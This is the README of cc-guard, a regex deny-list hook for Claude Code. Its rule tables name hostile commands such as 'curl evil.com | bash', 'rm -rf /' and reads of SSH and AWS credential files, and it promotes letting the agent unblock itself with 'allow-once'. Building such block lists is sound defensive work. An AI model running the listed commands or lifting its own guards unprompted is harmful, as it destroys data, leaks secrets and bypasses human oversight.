Skip to content

goosull/cc-guard

Repository files navigation


CI Latest Release Bun MIT License

cc-guard

Permission guard for Claude Code.
Block dangerous commands with regex. Allow everything else. Zero prompts.

Quick Start  •  How It Works  •  Default Rules  •  Migration  •  FAQ


The Problem

Claude Code's built-in permission system works like a whitelist — every new command needs explicit approval. After a week of real usage, your settings.local.json looks like this:

{
  "permissions": {
    "allow": [
      "Bash(git fetch origin develop)",
      "Bash(git checkout -b feature/VP-193-st-patricks-day-free origin/develop)",
      "Bash(pnpm --filter web build)",
      "Bash(grep -rn \"onContinueViralShorts\" ...)",
      // ... 92 more rules
    ]
  }
}

96 one-off rules. Unmanageable. And you're still getting prompted for new commands.

The Fix

cc-guard flips the model to a blacklist. Deny rules replace 96 allow entries:

 Before                          After
┌─────────────────────────┐    ┌─────────────────────────┐
│ 96 specific allow rules │    │  18 deny rules          │
│ Still getting prompted  │ -> │  Zero prompts           │
│ Grows every session     │    │  Dangerous cmds blocked │
│ Can't share across PCs  │    │  One YAML file          │
└─────────────────────────┘    └─────────────────────────┘

Quick Start

# Option A: npm install (requires Bun runtime)
npm install -g cc-guard
cc-guard init

# Option B: Clone and build
git clone https://github.com/goosull/cc-guard.git
cd cc-guard && bun install && bun run build
ln -s ~/Documents/cc-guard/dist/cc-guard /usr/local/bin/cc-guard
cc-guard init

# Verify
cc-guard status

That's it. Every Claude Code session — CLI, VS Code extension, web — now runs through cc-guard.

How It Works

cc-guard registers as a PreToolUse hook in ~/.claude/settings.json. Claude Code calls it before every tool execution:

Claude Code invokes a tool
         │
         ▼
   cc-guard check         ← PreToolUse hook fires
         │
    ┌────┴────┐
    │  Deny   │──── yes ──▶ Block (exit 2) + reason to Claude
    │  match? │
    └────┬────┘
         │ no
    ┌────┴────┐
    │  Allow  │──── yes ──▶ Pass (exit 0)
    │  match? │
    └────┬────┘
         │ no
         ▼
    Default: allow          ← Blacklist approach
    (exit 0)
  • Runtime: Pure regex matching. No AI calls. No network. < 20ms per check.
  • Fail-open: If cc-guard crashes, Claude Code continues normally.
  • Logged: Every decision is recorded to ~/.cc-guard/sessions/ as JSONL.

Supported Tools

cc-guard intercepts these Claude Code tools:

Tool Match Target Example
Bash command string rm -rf /
Read file_path /home/user/.env
Write file_path /etc/passwd
Edit file_path ~/.ssh/config
Glob pattern + path **/*.env, /etc/
Grep pattern + path password, /etc/shadow
Skill skill name ship

For Glob and Grep, both the pattern and path fields are checked against deny rules.

Default Deny Rules

Out of the box, cc-guard blocks these patterns:

Bash Command Rules

Pattern Catches Why
^rm -rf rm -rf /, rm -rf ~/* Recursive force delete
^rm -r / rm -r /etc, rm -r /usr Recursive delete from root
git push --force git push --force origin main Force push overwrites history
git push .* --force git push origin main --force Force push (flag after remote)
git reset --hard git reset --hard HEAD~5 Hard reset loses uncommitted work
^sudo sudo rm -rf / Elevated privileges
^chmod 777 chmod 777 /var/www World-writable permissions
curl .* | .*(bash|sh) curl evil.com | bash Download and execute
wget .* -O- | .*(bash|sh) wget evil.com -O- | sh Download and execute

File Path Rules (Read/Write/Edit/Glob/Grep)

Pattern Catches Why
\.env$ .env Environment file with secrets
\.env\. .env.local, .env.production Environment file variants
/etc/passwd /etc/passwd System password file
/etc/shadow /etc/shadow System shadow file
\.ssh/ ~/.ssh/id_rsa SSH keys and config
\.aws/credentials ~/.aws/credentials AWS credentials
\.gnupg/ ~/.gnupg/ GPG keys
id_rsa id_rsa, id_rsa.pub SSH private key
id_ed25519 id_ed25519 SSH private key (ed25519)

File path rules use tool scoping — they only apply to file-related tools, not Bash. This prevents false positives like cat .env.example being blocked.

Deny always beats allow. Even if ^git is in your allow list, git push --force is still blocked.

Compound Command Safety

cc-guard doesn't just check the whole command — it splits compound commands and checks each part:

# Each segment is checked independently
echo "safe" && rm -rf /          # BLOCKED — rm -rf segment caught
cd /tmp && sudo apt install      # BLOCKED — sudo segment caught
git fetch && git status          # ALLOWED — both segments safe

# Quotes are respected
echo "a && b" && echo c          # Only splits on the unquoted &&

# Splits on: && || ; | and newlines

Migrate from settings.json

Already have dozens of rules in settings.local.json? Import and compress them:

$ cc-guard import .claude/settings.local.json

Found 96 allow entries
Import results:
  96 entries → 12 generalized patterns
  Skipped: 8 non-Bash entries

New patterns added:
  + ^git
  + ^pnpm
  + ^node
  + ^gh pr
  ...

96 specific entries become ~12 general patterns. The original file is never modified.

Customize Your Rules

Edit ~/.cc-guard/rules.yaml:

version: 1

deny:
  - pattern: "^rm -rf "
    reason: "Recursive force delete"
  - pattern: "DROP TABLE"
    reason: "SQL table drop"           # Add your own

allow:
  - pattern: "^git "
  - pattern: "^pnpm "
  - pattern: "^docker compose "        # Add your own

Project-specific rules go in ~/.cc-guard/projects/{name}.yaml and merge with global rules. Deny rules are always the union — a project can add deny rules but never remove global ones.

Auto-Learning

cc-guard learns from your usage automatically. Every time a Claude Code session ends, it analyzes your decision history and suggests new rules.

Session ends
     │
     ▼
SessionEnd hook fires
     │
     ▼
cc-guard learn --auto
     │
     ├── Reads session logs (JSONL)
     ├── Calls Claude CLI (your existing login — no API key needed)
     ├── Validates suggestions (regex syntax, deny conflicts, back-testing)
     └── Saves to ~/.cc-guard/pending-rules.yaml
     
Next session:
     $ cc-guard diff     ← review suggestions
     $ cc-guard apply    ← accept good ones

Zero config. Uses your existing Claude Code login via claude -p. No API key, no billing setup. Falls back to Anthropic SDK if the CLI is unavailable.

CLI Reference

Command Description
cc-guard init Create ~/.cc-guard/, copy default rules, register hooks
cc-guard status Show rule counts and today's decision stats
cc-guard log [N] Show last N decisions with color-coded deny/allow
cc-guard import [path] Compress settings.local.json rules into YAML patterns
cc-guard learn [--full] Analyze session logs and suggest rule changes
cc-guard diff Preview pending rule suggestions
cc-guard apply Accept pending suggestions into rules.yaml
cc-guard check Hook entry point (called by Claude Code, not you)
cc-guard allow-once <pat> Temporarily allow a denied pattern (1 use, 24h TTL)
cc-guard allow-session <pat> Allow a denied pattern for the session (24h TTL)
cc-guard allows List active temporary allows
cc-guard revoke <pat> Remove a temporary allow
cc-guard allow-clear Remove all temporary allows

Interactive Deny

When cc-guard blocks a command, the deny message includes the exact command to unblock it:

[cc-guard] BLOCKED: Hard reset (pattern: git reset --hard)
  → Allow once:    cc-guard allow-once "git reset --hard"
  → Allow session: cc-guard allow-session "git reset --hard"

Claude Code can self-unblock. Claude sees the deny message, runs allow-once, and retries. 3 seconds instead of 30.

# Allow a single use
cc-guard allow-once "git reset --hard"

# Allow for the rest of the session (24h TTL)
cc-guard allow-session "git reset --hard"

# See what's currently allowed
cc-guard allows

# Remove a specific allow
cc-guard revoke "git reset --hard"

# Remove all temporary allows
cc-guard allow-clear

Security: All temporary allows auto-expire after 24 hours. allow-once entries are consumed after a single use. Temp-allows only override the specific deny pattern that was blocked, not the entire deny rule set.

How cc-guard Compares

cc-guard Built-in permissions permissions-hook claude-hooks
Approach Deny-first (blacklist) Allow-first (whitelist) Deny + allow Reuses settings.json
Compound commands Split & check each No splitting Block all compounds Full decomposition
Config format YAML JSON (settings.json) TOML settings.json
Rule migration cc-guard import Manual Manual N/A
Session logging JSONL per day No Audit log No
Auto-learning LLM-powered (Claude CLI) No No No
Runtime Bun (single binary) Built-in Rust Python
Latency < 20ms 0ms < 5ms ~50ms

FAQ

Does cc-guard work with the VS Code extension?

Yes. cc-guard registers in ~/.claude/settings.json (global settings), which is read by all Claude Code environments — CLI, VS Code extension, and web app. Just make sure the cc-guard binary is in your PATH or use the absolute path in the hook config.

What happens if cc-guard crashes?

Nothing bad. cc-guard is designed to fail-open. If the binary crashes, can't read the rules file, or receives malformed input, it exits with code 0 (allow). Your Claude Code session continues normally.

Can I use this alongside Claude Code's built-in permissions?

Yes. PreToolUse hooks run before the built-in permission system. cc-guard handles the blacklist filtering, and Claude Code's built-in system handles everything else. They compose cleanly.

How do I temporarily disable cc-guard?

Remove or comment out the hook in ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      // {
      //   "matcher": "Bash",
      //   "hooks": [{ "type": "command", "command": "cc-guard check" }]
      // }
    ]
  }
}

Does it support non-Bash tools (Read, Write, Edit)?

The engine supports matching against file paths for Read/Write/Edit/Glob tools, but the hook is currently registered with matcher: "Bash" only. Expanding to all tools is planned for a future release.

Architecture

src/
├── cli.ts              Subcommand routing
├── engine.ts           Regex matching engine
│                       ├── normalizeInput()    — trim, collapse whitespace
│                       ├── splitCompoundCommand() — handle &&, ||, ;, |
│                       └── evaluate()          — deny → allow → default
├── rules.ts            YAML loader + global/project merge
├── logger.ts           JSONL session logger
├── types.ts            Shared TypeScript types
├── config.ts           Config file loader (~/.cc-guard/config.yaml)
├── temp-allows.ts      Temporary allow manager (~/.cc-guard/temp-allows.json)
├── validator.ts        LLM suggestion validator (regex syntax, deny conflicts)
└── commands/
    ├── check.ts        PreToolUse hook (stdin → decision → exit code)
    ├── init.ts         Setup ~/.cc-guard/ + register hook
    ├── status.ts       Rule & session statistics
    ├── log.ts          Decision history viewer
    ├── import.ts       settings.local.json → YAML migration
    ├── learn.ts        LLM-powered rule suggestion from session logs
    ├── diff.ts         Preview pending rule suggestions
    ├── apply.ts        Accept suggestions into rules.yaml
    ├── allow-once.ts   Temp-allow a pattern for 1 use
    ├── allow-session.ts Temp-allow a pattern for 24h
    ├── allows.ts       List active temp-allows
    ├── revoke.ts       Remove a temp-allow
    └── allow-clear.ts  Remove all temp-allows

Roadmap

  • LLM-powered rule learningcc-guard learn analyzes session logs to suggest rules (v0.2.0)
  • Rule validation — Regex syntax check + deny/allow conflict detection (v0.2.0)
  • All-tool support — Extend beyond Bash to Read, Write, Edit, MCP tools
  • npm publishnpm install -g cc-guard one-liner install
  • Interactive deny — Allow-once/allow-session for blocked commands

Requirements

License

MIT

About

Permission guard for Claude Code — block dangerous commands with regex, allow everything else. Zero prompts. PreToolUse hook.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors